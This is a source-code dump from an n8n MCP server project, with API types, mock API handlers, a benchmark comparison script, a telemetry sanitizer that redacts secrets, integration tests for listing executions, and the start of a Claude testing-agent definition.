limit?: number;
cursor?: string;
filter?: Record<string, unknown>;
}
export interface CredentialListResponse {
data: Credential[];
nextCursor?: string | null;
}
export interface TagListParams {
limit?: number;
cursor?: string;
withUsageCount?: boolean;
}
export interface TagListResponse {
data: Tag[];
nextCursor?: string | null;
}
// Webhook Request Type
export interface WebhookRequest {
webhookUrl: string;
httpMethod: 'GET' | 'POST' | 'PUT' | 'DELETE';
data?: Record<string, unknown>;
headers?: Record<string, string>;
waitForResponse?: boolean;
}
// MCP Tool Response Type
export interface McpToolResponse {
success: boolean;
data?: unknown;
error?: string;
message?: string;
code?: string;
details?: Record<string, unknown>;
executionId?: string;
workflowId?: string;
}
// Execution Filtering Types
export type ExecutionMode = 'preview' | 'summary' | 'filtered' | 'full';
export interface ExecutionPreview {
totalNodes: number;
executedNodes: number;
estimatedSizeKB: number;
nodes: Record<string, NodePreview>;
}
export interface NodePreview {
status: 'success' | 'error';
itemCounts: {
input: number;
output: number;
};
dataStructure: Record<string, any>;
estimatedSizeKB: number;
error?: string;
}
export interface ExecutionRecommendation {
canFetchFull: boolean;
suggestedMode: ExecutionMode;
suggestedItemsLimit?: number;
reason: string;
}
export interface ExecutionFilterOptions {
mode?: ExecutionMode;
nodeNames?: string[];
itemsLimit?: number;
includeInputData?: boolean;
fieldsToInclude?: string[];
}
export interface FilteredExecutionResponse {
id: string;
workflowId: string;
status: ExecutionStatus;
mode: ExecutionMode;
startedAt: string;
stoppedAt?: string;
duration?: number;
finished: boolean;
// Preview-specific data
preview?: ExecutionPreview;
recommendation?: ExecutionRecommendation;
// Summary/Filtered data
summary?: {
totalNodes: number;
executedNodes: number;
totalItems: number;
hasMoreData: boolean;
};
nodes?: Record<string, FilteredNodeData>;
// Error information
error?: Record<string, unknown>;
}
export interface FilteredNodeData {
executionTime?: number;
itemsInput: number;
itemsOutput: number;
status: 'success' | 'error';
error?: string;
data?: {
input?: any[][];
output?: any[][];
metadata: {
totalItems: number;
itemsShown: number;
truncated: boolean;
};
};
}
```
--------------------------------------------------------------------------------
/tests/mocks/n8n-api/handlers.ts:
--------------------------------------------------------------------------------
```typescript
import { http, HttpResponse, RequestHandler } from 'msw';
import { mockWorkflows } from './data/workflows';
import { mockExecutions } from './data/executions';
import { mockCredentials } from './data/credentials';
// Base URL for n8n API (will be overridden by actual URL in tests)
const API_BASE = process.env.N8N_API_URL || 'http://localhost:5678';
/**
* Default handlers for n8n API endpoints
* These can be overridden in specific tests using server.use()
*/
export const handlers: RequestHandler[] = [
// Health check endpoint
http.get('*/api/v1/health', () => {
return HttpResponse.json({
status: 'ok',
version: '1.103.2',
features: {
workflows: true,
executions: true,
credentials: true,
webhooks: true,
}
});
}),
// Workflow endpoints
http.get('*/api/v1/workflows', ({ request }) => {
const url = new URL(request.url);
const limit = parseInt(url.searchParams.get('limit') || '100');
const cursor = url.searchParams.get('cursor');
const active = url.searchParams.get('active');
let filtered = mockWorkflows;
// Filter by active status if provided
if (active !== null) {
filtered = filtered.filter(w => w.active === (active === 'true'));
}
// Simple pagination simulation
const startIndex = cursor ? parseInt(cursor) : 0;
const paginatedData = filtered.slice(startIndex, startIndex + limit);
const hasMore = startIndex + limit < filtered.length;
const nextCursor = hasMore ? String(startIndex + limit) : null;
return HttpResponse.json({
data: paginatedData,
nextCursor,
hasMore
});
}),
http.get('*/api/v1/workflows/:id', ({ params }) => {
const workflow = mockWorkflows.find(w => w.id === params.id);
if (!workflow) {
return HttpResponse.json(
{ message: 'Workflow not found', code: 'NOT_FOUND' },
{ status: 404 }
);
}
return HttpResponse.json({ data: workflow });
}),
http.post('*/api/v1/workflows', async ({ request }) => {
const body = await request.json() as any;
// Validate required fields
if (!body.name || !body.nodes || !body.connections) {
return HttpResponse.json(
{
message: 'Validation failed',
errors: {
name: !body.name ? 'Name is required' : undefined,
nodes: !body.nodes ? 'Nodes are required' : undefined,
connections: !body.connections ? 'Connections are required' : undefined,
},
code: 'VALIDATION_ERROR'
},
{ status: 400 }
);
}
const newWorkflow = {
id: `workflow_${Date.now()}`,
name: body.name,
active: body.active || false,
nodes: body.nodes,
connections: body.connections,
settings: body.settings || {},
tags: body.tags || [],
createdAt: new Date().toISOString(),
updatedAt: new Date().toISOString(),
versionId: '1'
};
mockWorkflows.push(newWorkflow);
return HttpResponse.json({ data: newWorkflow }, { status: 201 });
}),
http.patch('*/api/v1/workflows/:id', async ({ params, request }) => {
const workflowIndex = mockWorkflows.findIndex(w => w.id === params.id);
if (workflowIndex === -1) {
return HttpResponse.json(
{ message: 'Workflow not found', code: 'NOT_FOUND' },
{ status: 404 }
);
}
const body = await request.json() as any;
const updatedWorkflow = {
...mockWorkflows[workflowIndex],
...body,
id: params.id, // Ensure ID doesn't change
updatedAt: new Date().toISOString(),
versionId: String(parseInt(mockWorkflows[workflowIndex].versionId) + 1)
};
mockWorkflows[workflowIndex] = updatedWorkflow;
return HttpResponse.json({ data: updatedWorkflow });
}),
http.delete('*/api/v1/workflows/:id', ({ params }) => {
const workflowIndex = mockWorkflows.findIndex(w => w.id === params.id);
if (workflowIndex === -1) {
return HttpResponse.json(
{ message: 'Workflow not found', code: 'NOT_FOUND' },
{ status: 404 }
);
}
mockWorkflows.splice(workflowIndex, 1);
return HttpResponse.json({ success: true });
}),
// Execution endpoints
http.get('*/api/v1/executions', ({ request }) => {
const url = new URL(request.url);
const limit = parseInt(url.searchParams.get('limit') || '100');
const cursor = url.searchParams.get('cursor');
const workflowId = url.searchParams.get('workflowId');
const status = url.searchParams.get('status');
let filtered = mockExecutions;
// Filter by workflow ID if provided
if (workflowId) {
filtered = filtered.filter(e => e.workflowId === workflowId);
}
// Filter by status if provided
if (status) {
filtered = filtered.filter(e => e.status === status);
}
// Simple pagination simulation
const startIndex = cursor ? parseInt(cursor) : 0;
const paginatedData = filtered.slice(startIndex, startIndex + limit);
const hasMore = startIndex + limit < filtered.length;
const nextCursor = hasMore ? String(startIndex + limit) : null;
return HttpResponse.json({
data: paginatedData,
nextCursor,
hasMore
});
}),
http.get('*/api/v1/executions/:id', ({ params }) => {
const execution = mockExecutions.find(e => e.id === params.id);
if (!execution) {
return HttpResponse.json(
{ message: 'Execution not found', code: 'NOT_FOUND' },
{ status: 404 }
);
}
return HttpResponse.json({ data: execution });
}),
http.delete('*/api/v1/executions/:id', ({ params }) => {
const executionIndex = mockExecutions.findIndex(e => e.id === params.id);
if (executionIndex === -1) {
return HttpResponse.json(
{ message: 'Execution not found', code: 'NOT_FOUND' },
{ status: 404 }
);
}
mockExecutions.splice(executionIndex, 1);
return HttpResponse.json({ success: true });
}),
// Webhook endpoints (dynamic handling)
http.all('*/webhook/*', async ({ request }) => {
const url = new URL(request.url);
const method = request.method;
const body = request.body ? await request.json() : undefined;
// Log webhook trigger in debug mode
if (process.env.MSW_DEBUG === 'true') {
console.log('[MSW] Webhook triggered:', {
url: url.pathname,
method,
body
});
}
// Return success response by default
return HttpResponse.json({
success: true,
webhookUrl: url.pathname,
method,
timestamp: new Date().toISOString(),
data: body
});
}),
// Catch-all for unhandled API routes (helps identify missing handlers)
http.all('*/api/*', ({ request }) => {
console.warn('[MSW] Unhandled API request:', request.method, request.url);
return HttpResponse.json(
{
message: 'Not implemented in mock',
code: 'NOT_IMPLEMENTED',
path: new URL(request.url).pathname,
method: request.method
},
{ status: 501 }
);
}),
];
/**
* Dynamic handler registration helpers
*/
export const dynamicHandlers = {
/**
* Add a workflow that will be returned by GET requests
*/
addWorkflow: (workflow: any) => {
mockWorkflows.push(workflow);
},
/**
* Clear all mock workflows
*/
clearWorkflows: () => {
mockWorkflows.length = 0;
},
/**
* Add an execution that will be returned by GET requests
*/
addExecution: (execution: any) => {
mockExecutions.push(execution);
},
/**
* Clear all mock executions
*/
clearExecutions: () => {
mockExecutions.length = 0;
},
/**
* Reset all mock data to initial state
*/
resetAll: () => {
// Reset arrays to initial state (implementation depends on data modules)
mockWorkflows.length = 0;
mockExecutions.length = 0;
mockCredentials.length = 0;
}
};
```
--------------------------------------------------------------------------------
/scripts/compare-benchmarks.js:
--------------------------------------------------------------------------------
```javascript
#!/usr/bin/env node
import { readFileSync, existsSync, writeFileSync } from 'fs';
import { resolve } from 'path';
/**
* Compare benchmark results between runs
*/
class BenchmarkComparator {
constructor() {
this.threshold = 0.1; // 10% threshold for significant changes
}
loadBenchmarkResults(path) {
if (!existsSync(path)) {
return null;
}
try {
return JSON.parse(readFileSync(path, 'utf-8'));
} catch (error) {
console.error(`Error loading benchmark results from ${path}:`, error);
return null;
}
}
compareBenchmarks(current, baseline) {
const comparison = {
timestamp: new Date().toISOString(),
summary: {
improved: 0,
regressed: 0,
unchanged: 0,
added: 0,
removed: 0
},
benchmarks: []
};
// Create maps for easy lookup
const currentMap = new Map();
const baselineMap = new Map();
// Process current benchmarks
if (current && current.files) {
for (const file of current.files) {
for (const group of file.groups || []) {
for (const bench of group.benchmarks || []) {
const key = `${group.name}::${bench.name}`;
currentMap.set(key, {
ops: bench.result.hz,
mean: bench.result.mean,
file: file.filepath
});
}
}
}
}
// Process baseline benchmarks
if (baseline && baseline.files) {
for (const file of baseline.files) {
for (const group of file.groups || []) {
for (const bench of group.benchmarks || []) {
const key = `${group.name}::${bench.name}`;
baselineMap.set(key, {
ops: bench.result.hz,
mean: bench.result.mean,
file: file.filepath
});
}
}
}
}
// Compare benchmarks
for (const [key, current] of currentMap) {
const baseline = baselineMap.get(key);
if (!baseline) {
// New benchmark
comparison.summary.added++;
comparison.benchmarks.push({
name: key,
status: 'added',
current: current.ops,
baseline: null,
change: null,
file: current.file
});
} else {
// Compare performance
const change = ((current.ops - baseline.ops) / baseline.ops) * 100;
let status = 'unchanged';
if (Math.abs(change) >= this.threshold * 100) {
if (change > 0) {
status = 'improved';
comparison.summary.improved++;
} else {
status = 'regressed';
comparison.summary.regressed++;
}
} else {
comparison.summary.unchanged++;
}
comparison.benchmarks.push({
name: key,
status,
current: current.ops,
baseline: baseline.ops,
change,
meanCurrent: current.mean,
meanBaseline: baseline.mean,
file: current.file
});
}
}
// Check for removed benchmarks
for (const [key, baseline] of baselineMap) {
if (!currentMap.has(key)) {
comparison.summary.removed++;
comparison.benchmarks.push({
name: key,
status: 'removed',
current: null,
baseline: baseline.ops,
change: null,
file: baseline.file
});
}
}
// Sort by change percentage (regressions first)
comparison.benchmarks.sort((a, b) => {
if (a.status === 'regressed' && b.status !== 'regressed') return -1;
if (b.status === 'regressed' && a.status !== 'regressed') return 1;
if (a.change !== null && b.change !== null) {
return a.change - b.change;
}
return 0;
});
return comparison;
}
generateMarkdownReport(comparison) {
let report = '## Benchmark Comparison Report\n\n';
const { summary } = comparison;
report += '### Summary\n\n';
report += `- **Improved**: ${summary.improved} benchmarks\n`;
report += `- **Regressed**: ${summary.regressed} benchmarks\n`;
report += `- **Unchanged**: ${summary.unchanged} benchmarks\n`;
report += `- **Added**: ${summary.added} benchmarks\n`;
report += `- **Removed**: ${summary.removed} benchmarks\n\n`;
// Regressions
const regressions = comparison.benchmarks.filter(b => b.status === 'regressed');
if (regressions.length > 0) {
report += '### ⚠️ Performance Regressions\n\n';
report += '| Benchmark | Current | Baseline | Change |\n';
report += '|-----------|---------|----------|--------|\n';
for (const bench of regressions) {
const currentOps = bench.current.toLocaleString('en-US', { maximumFractionDigits: 0 });
const baselineOps = bench.baseline.toLocaleString('en-US', { maximumFractionDigits: 0 });
const changeStr = bench.change.toFixed(2);
report += `| ${bench.name} | ${currentOps} ops/s | ${baselineOps} ops/s | **${changeStr}%** |\n`;
}
report += '\n';
}
// Improvements
const improvements = comparison.benchmarks.filter(b => b.status === 'improved');
if (improvements.length > 0) {
report += '### ✅ Performance Improvements\n\n';
report += '| Benchmark | Current | Baseline | Change |\n';
report += '|-----------|---------|----------|--------|\n';
for (const bench of improvements) {
const currentOps = bench.current.toLocaleString('en-US', { maximumFractionDigits: 0 });
const baselineOps = bench.baseline.toLocaleString('en-US', { maximumFractionDigits: 0 });
const changeStr = bench.change.toFixed(2);
report += `| ${bench.name} | ${currentOps} ops/s | ${baselineOps} ops/s | **+${changeStr}%** |\n`;
}
report += '\n';
}
// New benchmarks
const added = comparison.benchmarks.filter(b => b.status === 'added');
if (added.length > 0) {
report += '### 🆕 New Benchmarks\n\n';
report += '| Benchmark | Performance |\n';
report += '|-----------|-------------|\n';
for (const bench of added) {
const ops = bench.current.toLocaleString('en-US', { maximumFractionDigits: 0 });
report += `| ${bench.name} | ${ops} ops/s |\n`;
}
report += '\n';
}
return report;
}
generateJsonReport(comparison) {
return JSON.stringify(comparison, null, 2);
}
async compare(currentPath, baselinePath) {
// Load results
const current = this.loadBenchmarkResults(currentPath);
const baseline = this.loadBenchmarkResults(baselinePath);
if (!current && !baseline) {
console.error('No benchmark results found');
return;
}
// Generate comparison
const comparison = this.compareBenchmarks(current, baseline);
// Generate reports
const markdownReport = this.generateMarkdownReport(comparison);
const jsonReport = this.generateJsonReport(comparison);
// Write reports
writeFileSync('benchmark-comparison.md', markdownReport);
writeFileSync('benchmark-comparison.json', jsonReport);
// Output summary to console
console.log(markdownReport);
// Return exit code based on regressions
if (comparison.summary.regressed > 0) {
console.error(`\n❌ Found ${comparison.summary.regressed} performance regressions`);
process.exit(1);
} else {
console.log(`\n✅ No performance regressions found`);
process.exit(0);
}
}
}
// Parse command line arguments
const args = process.argv.slice(2);
if (args.length < 1) {
console.error('Usage: node compare-benchmarks.js <current-results> [baseline-results]');
console.error('If baseline-results is not provided, it will look for benchmark-baseline.json');
process.exit(1);
}
const currentPath = args[0];
const baselinePath = args[1] || 'benchmark-baseline.json';
// Run comparison
const comparator = new BenchmarkComparator();
comparator.compare(currentPath, baselinePath).catch(console.error);
```
--------------------------------------------------------------------------------
/src/telemetry/workflow-sanitizer.ts:
--------------------------------------------------------------------------------
```typescript
/**
* Workflow Sanitizer
* Removes sensitive data from workflows before telemetry storage
*/
import { createHash } from 'crypto';
interface WorkflowNode {
id: string;
name: string;
type: string;
position: [number, number];
parameters: any;
credentials?: any;
disabled?: boolean;
typeVersion?: number;
}
interface SanitizedWorkflow {
nodes: WorkflowNode[];
connections: any;
nodeCount: number;
nodeTypes: string[];
hasTrigger: boolean;
hasWebhook: boolean;
complexity: 'simple' | 'medium' | 'complex';
workflowHash: string;
}
export class WorkflowSanitizer {
private static readonly SENSITIVE_PATTERNS = [
// Webhook URLs (replace with placeholder but keep structure) - MUST BE FIRST
/https?:\/\/[^\s/]+\/webhook\/[^\s]+/g,
/https?:\/\/[^\s/]+\/hook\/[^\s]+/g,
// API keys and tokens
/sk-[a-zA-Z0-9]{16,}/g, // OpenAI keys
/Bearer\s+[^\s]+/gi, // Bearer tokens
/[a-zA-Z0-9_-]{20,}/g, // Long alphanumeric strings (API keys) - reduced threshold
/token['":\s]+[^,}]+/gi, // Token fields
/apikey['":\s]+[^,}]+/gi, // API key fields
/api_key['":\s]+[^,}]+/gi,
/secret['":\s]+[^,}]+/gi,
/password['":\s]+[^,}]+/gi,
/credential['":\s]+[^,}]+/gi,
// URLs with authentication
/https?:\/\/[^:]+:[^@]+@[^\s/]+/g, // URLs with auth
/wss?:\/\/[^:]+:[^@]+@[^\s/]+/g,
// Email addresses (optional - uncomment if needed)
// /[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/g,
];
private static readonly SENSITIVE_FIELDS = [
'apiKey',
'api_key',
'token',
'secret',
'password',
'credential',
'auth',
'authorization',
'webhook',
'webhookUrl',
'url',
'endpoint',
'host',
'server',
'database',
'connectionString',
'privateKey',
'publicKey',
'certificate',
];
/**
* Sanitize a complete workflow
*/
static sanitizeWorkflow(workflow: any): SanitizedWorkflow {
// Create a deep copy to avoid modifying original
const sanitized = JSON.parse(JSON.stringify(workflow));
// Sanitize nodes
if (sanitized.nodes && Array.isArray(sanitized.nodes)) {
sanitized.nodes = sanitized.nodes.map((node: WorkflowNode) =>
this.sanitizeNode(node)
);
}
// Sanitize connections (keep structure only)
if (sanitized.connections) {
sanitized.connections = this.sanitizeConnections(sanitized.connections);
}
// Remove other potentially sensitive data
delete sanitized.settings?.errorWorkflow;
delete sanitized.staticData;
delete sanitized.pinData;
delete sanitized.credentials;
delete sanitized.sharedWorkflows;
delete sanitized.ownedBy;
delete sanitized.createdBy;
delete sanitized.updatedBy;
// Calculate metrics
const nodeTypes = sanitized.nodes?.map((n: WorkflowNode) => n.type) || [];
const uniqueNodeTypes = [...new Set(nodeTypes)] as string[];
const hasTrigger = nodeTypes.some((type: string) =>
type.includes('trigger') || type.includes('webhook')
);
const hasWebhook = nodeTypes.some((type: string) =>
type.includes('webhook')
);
// Calculate complexity
const nodeCount = sanitized.nodes?.length || 0;
let complexity: 'simple' | 'medium' | 'complex' = 'simple';
if (nodeCount > 20) {
complexity = 'complex';
} else if (nodeCount > 10) {
complexity = 'medium';
}
// Generate workflow hash (for deduplication)
const workflowStructure = JSON.stringify({
nodeTypes: uniqueNodeTypes.sort(),
connections: sanitized.connections
});
const workflowHash = createHash('sha256')
.update(workflowStructure)
.digest('hex')
.substring(0, 16);
return {
nodes: sanitized.nodes || [],
connections: sanitized.connections || {},
nodeCount,
nodeTypes: uniqueNodeTypes,
hasTrigger,
hasWebhook,
complexity,
workflowHash
};
}
/**
* Sanitize a single node
*/
private static sanitizeNode(node: WorkflowNode): WorkflowNode {
const sanitized = { ...node };
// Remove credentials entirely
delete sanitized.credentials;
// Sanitize parameters
if (sanitized.parameters) {
sanitized.parameters = this.sanitizeObject(sanitized.parameters);
}
return sanitized;
}
/**
* Recursively sanitize an object
*/
private static sanitizeObject(obj: any): any {
if (!obj || typeof obj !== 'object') {
return obj;
}
if (Array.isArray(obj)) {
return obj.map(item => this.sanitizeObject(item));
}
const sanitized: any = {};
for (const [key, value] of Object.entries(obj)) {
// Check if key is sensitive
if (this.isSensitiveField(key)) {
sanitized[key] = '[REDACTED]';
continue;
}
// Recursively sanitize nested objects
if (typeof value === 'object' && value !== null) {
sanitized[key] = this.sanitizeObject(value);
}
// Sanitize string values
else if (typeof value === 'string') {
sanitized[key] = this.sanitizeString(value, key);
}
// Keep other types as-is
else {
sanitized[key] = value;
}
}
return sanitized;
}
/**
* Sanitize string values
*/
private static sanitizeString(value: string, fieldName: string): string {
// First check if this is a webhook URL
if (value.includes('/webhook/') || value.includes('/hook/')) {
return 'https://[webhook-url]';
}
let sanitized = value;
// Apply all sensitive patterns
for (const pattern of this.SENSITIVE_PATTERNS) {
// Skip webhook patterns - already handled above
if (pattern.toString().includes('webhook')) {
continue;
}
sanitized = sanitized.replace(pattern, '[REDACTED]');
}
// Additional sanitization for specific field types
if (fieldName.toLowerCase().includes('url') ||
fieldName.toLowerCase().includes('endpoint')) {
// Keep URL structure but remove domain details
if (sanitized.startsWith('http://') || sanitized.startsWith('https://')) {
// If value has been redacted, leave it as is
if (sanitized.includes('[REDACTED]')) {
return '[REDACTED]';
}
const urlParts = sanitized.split('/');
if (urlParts.length > 2) {
urlParts[2] = '[domain]';
sanitized = urlParts.join('/');
}
}
}
return sanitized;
}
/**
* Check if a field name is sensitive
*/
private static isSensitiveField(fieldName: string): boolean {
const lowerFieldName = fieldName.toLowerCase();
return this.SENSITIVE_FIELDS.some(sensitive =>
lowerFieldName.includes(sensitive.toLowerCase())
);
}
/**
* Sanitize connections (keep structure only)
*/
private static sanitizeConnections(connections: any): any {
if (!connections || typeof connections !== 'object') {
return connections;
}
const sanitized: any = {};
for (const [nodeId, nodeConnections] of Object.entries(connections)) {
if (typeof nodeConnections === 'object' && nodeConnections !== null) {
sanitized[nodeId] = {};
for (const [connType, connArray] of Object.entries(nodeConnections as any)) {
if (Array.isArray(connArray)) {
sanitized[nodeId][connType] = connArray.map((conns: any) => {
if (Array.isArray(conns)) {
return conns.map((conn: any) => ({
node: conn.node,
type: conn.type,
index: conn.index
}));
}
return conns;
});
} else {
sanitized[nodeId][connType] = connArray;
}
}
} else {
sanitized[nodeId] = nodeConnections;
}
}
return sanitized;
}
/**
* Generate a hash for workflow deduplication
*/
static generateWorkflowHash(workflow: any): string {
const sanitized = this.sanitizeWorkflow(workflow);
return sanitized.workflowHash;
}
}
```
--------------------------------------------------------------------------------
/tests/integration/n8n-api/executions/list-executions.test.ts:
--------------------------------------------------------------------------------
```typescript
/**
* Integration Tests: handleListExecutions
*
* Tests execution listing against a real n8n instance.
* Covers filtering, pagination, and various list parameters.
*/
import { describe, it, expect, beforeEach } from 'vitest';
import { createMcpContext } from '../utils/mcp-context';
import { InstanceContext } from '../../../../src/types/instance-context';
import { handleListExecutions } from '../../../../src/mcp/handlers-n8n-manager';
describe('Integration: handleListExecutions', () => {
let mcpContext: InstanceContext;
beforeEach(() => {
mcpContext = createMcpContext();
});
// ======================================================================
// No Filters
// ======================================================================
describe('No Filters', () => {
it('should list all executions without filters', async () => {
const response = await handleListExecutions({}, mcpContext);
expect(response.success).toBe(true);
expect(response.data).toBeDefined();
const data = response.data as any;
expect(Array.isArray(data.executions)).toBe(true);
expect(data).toHaveProperty('returned');
});
});
// ======================================================================
// Filter by Status
// ======================================================================
describe('Filter by Status', () => {
it('should filter executions by success status', async () => {
const response = await handleListExecutions(
{ status: 'success' },
mcpContext
);
expect(response.success).toBe(true);
const data = response.data as any;
expect(Array.isArray(data.executions)).toBe(true);
// All returned executions should have success status
if (data.executions.length > 0) {
data.executions.forEach((exec: any) => {
expect(exec.status).toBe('success');
});
}
});
it('should filter executions by error status', async () => {
const response = await handleListExecutions(
{ status: 'error' },
mcpContext
);
expect(response.success).toBe(true);
const data = response.data as any;
expect(Array.isArray(data.executions)).toBe(true);
// All returned executions should have error status
if (data.executions.length > 0) {
data.executions.forEach((exec: any) => {
expect(exec.status).toBe('error');
});
}
});
it('should filter executions by waiting status', async () => {
const response = await handleListExecutions(
{ status: 'waiting' },
mcpContext
);
expect(response.success).toBe(true);
const data = response.data as any;
expect(Array.isArray(data.executions)).toBe(true);
});
});
// ======================================================================
// Pagination
// ======================================================================
describe('Pagination', () => {
it('should return first page with limit', async () => {
const response = await handleListExecutions(
{ limit: 10 },
mcpContext
);
expect(response.success).toBe(true);
const data = response.data as any;
expect(Array.isArray(data.executions)).toBe(true);
expect(data.executions.length).toBeLessThanOrEqual(10);
});
it('should handle pagination with cursor', async () => {
// Get first page
const firstPage = await handleListExecutions(
{ limit: 5 },
mcpContext
);
expect(firstPage.success).toBe(true);
const firstData = firstPage.data as any;
// If there's a next cursor, get second page
if (firstData.nextCursor) {
const secondPage = await handleListExecutions(
{ limit: 5, cursor: firstData.nextCursor },
mcpContext
);
expect(secondPage.success).toBe(true);
const secondData = secondPage.data as any;
// Second page should have different executions
const firstIds = new Set(firstData.executions.map((e: any) => e.id));
const secondIds = secondData.executions.map((e: any) => e.id);
secondIds.forEach((id: string) => {
expect(firstIds.has(id)).toBe(false);
});
}
});
it('should respect limit=1', async () => {
const response = await handleListExecutions(
{ limit: 1 },
mcpContext
);
expect(response.success).toBe(true);
const data = response.data as any;
expect(data.executions.length).toBeLessThanOrEqual(1);
});
it('should respect limit=50', async () => {
const response = await handleListExecutions(
{ limit: 50 },
mcpContext
);
expect(response.success).toBe(true);
const data = response.data as any;
expect(data.executions.length).toBeLessThanOrEqual(50);
});
it('should respect limit=100 (max)', async () => {
const response = await handleListExecutions(
{ limit: 100 },
mcpContext
);
expect(response.success).toBe(true);
const data = response.data as any;
expect(data.executions.length).toBeLessThanOrEqual(100);
});
});
// ======================================================================
// Include Execution Data
// ======================================================================
describe('Include Execution Data', () => {
it('should exclude execution data by default', async () => {
const response = await handleListExecutions(
{ limit: 5 },
mcpContext
);
expect(response.success).toBe(true);
const data = response.data as any;
expect(Array.isArray(data.executions)).toBe(true);
// By default, should not include full execution data
});
it('should include execution data when requested', async () => {
const response = await handleListExecutions(
{ limit: 5, includeData: true },
mcpContext
);
expect(response.success).toBe(true);
const data = response.data as any;
expect(Array.isArray(data.executions)).toBe(true);
});
});
// ======================================================================
// Empty Results
// ======================================================================
describe('Empty Results', () => {
it('should return empty array when no executions match filters', async () => {
// Use a very restrictive workflowId that likely doesn't exist
const response = await handleListExecutions(
{ workflowId: '99999999' },
mcpContext
);
expect(response.success).toBe(true);
const data = response.data as any;
expect(Array.isArray(data.executions)).toBe(true);
// May or may not be empty depending on actual data
});
});
// ======================================================================
// Response Format Verification
// ======================================================================
describe('Response Format', () => {
it('should return complete list response structure', async () => {
const response = await handleListExecutions(
{ limit: 10 },
mcpContext
);
expect(response.success).toBe(true);
const data = response.data as any;
// Verify required fields
expect(data).toHaveProperty('executions');
expect(Array.isArray(data.executions)).toBe(true);
expect(data).toHaveProperty('returned');
expect(data).toHaveProperty('hasMore');
// Verify pagination fields when present
if (data.nextCursor) {
expect(typeof data.nextCursor).toBe('string');
}
// Verify execution structure if any executions returned
if (data.executions.length > 0) {
const execution = data.executions[0];
expect(execution).toHaveProperty('id');
if (execution.status) {
expect(['success', 'error', 'running', 'waiting']).toContain(execution.status);
}
}
});
});
});
```
--------------------------------------------------------------------------------
/.claude/agents/n8n-mcp-tester.md:
--------------------------------------------------------------------------------
```markdown
---
name: n8n-mcp-tester
description: Use this agent when you need to test n8n-mcp functionality after implementing fixes or new features. This agent should be invoked proactively after code changes to validate that the MCP tools work correctly with real n8n workflows. The agent tests the actual MCP server tools, not just unit tests. Examples:\n\n<example>\nContext: Developer has just fixed a validation bug in the n8n-mcp server\nuser: "I've fixed the validation issue for HTTP Request nodes"\nassistant: "I've completed the fix. Now let me build the project and then test it."\n<builds project>\nassistant: "Project built successfully. Please reload the MCP server in Claude Desktop to apply the changes."\nuser: "Reloaded"\nassistant: "Great! Now let me invoke the n8n-mcp-tester agent to verify the fix works correctly."\n<commentary>\nSince a fix has been implemented and the MCP server reloaded, use the n8n-mcp-tester agent to validate the fix works in real-world usage.\n</commentary>\n</example>\n\n<example>\nContext: Developer has added a new MCP tool for workflow validation\nuser: "I've implemented the new workflow validation tool"\nassistant: "Implementation complete. Let me build and prepare for testing."\n<builds project>\nassistant: "Build successful. Please reload the MCP server to load the new tool."\nuser: "Done"\nassistant: "Perfect! I'll now use the n8n-mcp-tester agent to test the new workflow validation tool."\n<commentary>\nAfter implementing new MCP functionality and reloading the server, invoke n8n-mcp-tester to verify it works correctly.\n</commentary>\n</example>
tools: Glob, Grep, LS, Read, WebFetch, TodoWrite, WebSearch, mcp__puppeteer__puppeteer_navigate, mcp__puppeteer__puppeteer_screenshot, mcp__puppeteer__puppeteer_click, mcp__puppeteer__puppeteer_fill, mcp__puppeteer__puppeteer_select, mcp__puppeteer__puppeteer_hover, mcp__puppeteer__puppeteer_evaluate, ListMcpResourcesTool, ReadMcpResourceTool, mcp__supabase__list_organizations, mcp__supabase__get_organization, mcp__supabase__list_projects, mcp__supabase__get_project, mcp__supabase__get_cost, mcp__supabase__confirm_cost, mcp__supabase__create_project, mcp__supabase__pause_project, mcp__supabase__restore_project, mcp__supabase__create_branch, mcp__supabase__list_branches, mcp__supabase__delete_branch, mcp__supabase__merge_branch, mcp__supabase__reset_branch, mcp__supabase__rebase_branch, mcp__supabase__list_tables, mcp__supabase__list_extensions, mcp__supabase__list_migrations, mcp__supabase__apply_migration, mcp__supabase__execute_sql, mcp__supabase__get_logs, mcp__supabase__get_advisors, mcp__supabase__get_project_url, mcp__supabase__get_anon_key, mcp__supabase__generate_typescript_types, mcp__supabase__search_docs, mcp__supabase__list_edge_functions, mcp__supabase__deploy_edge_function, mcp__n8n-mcp__tools_documentation, mcp__n8n-mcp__list_nodes, mcp__n8n-mcp__get_node_info, mcp__n8n-mcp__search_nodes, mcp__n8n-mcp__list_ai_tools, mcp__n8n-mcp__get_node_documentation, mcp__n8n-mcp__get_database_statistics, mcp__n8n-mcp__get_node_essentials, mcp__n8n-mcp__search_node_properties, mcp__n8n-mcp__get_node_for_task, mcp__n8n-mcp__list_tasks, mcp__n8n-mcp__validate_node_operation, mcp__n8n-mcp__validate_node_minimal, mcp__n8n-mcp__get_property_dependencies, mcp__n8n-mcp__get_node_as_tool_info, mcp__n8n-mcp__list_node_templates, mcp__n8n-mcp__get_template, mcp__n8n-mcp__search_templates, mcp__n8n-mcp__get_templates_for_task, mcp__n8n-mcp__validate_workflow, mcp__n8n-mcp__validate_workflow_connections, mcp__n8n-mcp__validate_workflow_expressions, mcp__n8n-mcp__n8n_create_workflow, mcp__n8n-mcp__n8n_get_workflow, mcp__n8n-mcp__n8n_get_workflow_details, mcp__n8n-mcp__n8n_get_workflow_structure, mcp__n8n-mcp__n8n_get_workflow_minimal, mcp__n8n-mcp__n8n_update_full_workflow, mcp__n8n-mcp__n8n_update_partial_workflow, mcp__n8n-mcp__n8n_delete_workflow, mcp__n8n-mcp__n8n_list_workflows, mcp__n8n-mcp__n8n_validate_workflow, mcp__n8n-mcp__n8n_trigger_webhook_workflow, mcp__n8n-mcp__n8n_get_execution, mcp__n8n-mcp__n8n_list_executions, mcp__n8n-mcp__n8n_delete_execution, mcp__n8n-mcp__n8n_health_check, mcp__n8n-mcp__n8n_list_available_tools, mcp__n8n-mcp__n8n_diagnostic
model: sonnet
---
You are n8n-mcp-tester, a specialized testing agent for the n8n Model Context Protocol (MCP) server. You validate that MCP tools and functionality work correctly in real-world scenarios after fixes or new features are implemented.
## Your Core Responsibilities
You test the n8n-mcp server by:
1. Using MCP tools to build, validate, and manipulate n8n workflows
2. Verifying that recent fixes resolve the reported issues
3. Testing new functionality works as designed
4. Reporting clear, actionable results back to the invoking agent
## Testing Methodology
When invoked with a test request, you will:
1. **Understand the Context**: Identify what was fixed or added based on the instructions from the invoking agent
2. **Design Test Scenarios**: Create specific test cases that:
- Target the exact functionality that was changed
- Include both positive and negative test cases
- Test edge cases and boundary conditions
- Use realistic n8n workflow configurations
